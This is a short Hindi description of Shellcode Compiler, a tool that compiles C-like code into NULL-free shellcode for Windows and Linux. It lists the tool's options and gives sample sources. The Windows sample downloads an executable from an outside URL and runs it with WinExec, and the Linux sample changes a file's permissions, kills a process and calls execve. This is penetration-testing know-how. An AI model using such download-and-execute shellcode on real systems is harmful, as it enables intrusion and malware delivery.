
शेलकोड कंपाइलर
Shellcode Compiler एक प्रोग्राम है जो C/C++ शैली के कोड को Windows (x86 और x64) और Linux (x86 और x64) के लिए एक छोटे, स्थिति-स्वतंत्र और NULL-मुक्त शेलकोड में संकलित करता है। उपयोगकर्ता-अनुकूल तरीके से किसी भी Windows API फ़ंक्शन या Linux syscall को कॉल करना संभव है।
Shellcode Compiler एक स्रोत फ़ाइल को इनपुट के रूप में लेता है और कोड की व्याख्या करने और एक असेंबली फ़ाइल उत्पन्न करने के लिए अपने स्वयं के कंपाइलर का उपयोग करता है, जिसे Keystone इंजन के साथ असेंबल किया जाता है।
-h (--help) : यह सहायता संदेश दिखाएं
-p (--platform) : शेलकोड प्लेटफ़ॉर्म: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : विस्तृत आउटपुट प्रिंट करें
-t (--test) : उत्पन्न शेलकोड का परीक्षण (निष्पादित) करें
-r (--read) : स्रोत कोड फ़ाइल पढ़ें
-o (--output) : उत्पन्न बाइनरी शेलकोड की आउटपुट फ़ाइल
-a (--assembbly) : उत्पन्न असेंबली कोड की आउटपुट फ़ाइल
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
इसके अलावा कई अन्य सीमाएं भी मौजूद हैं। यह एक Alpha संस्करण है। कृपया किसी भी बग या सुझाव की रिपोर्ट करें।
Ionut Popescu (@NytroRST)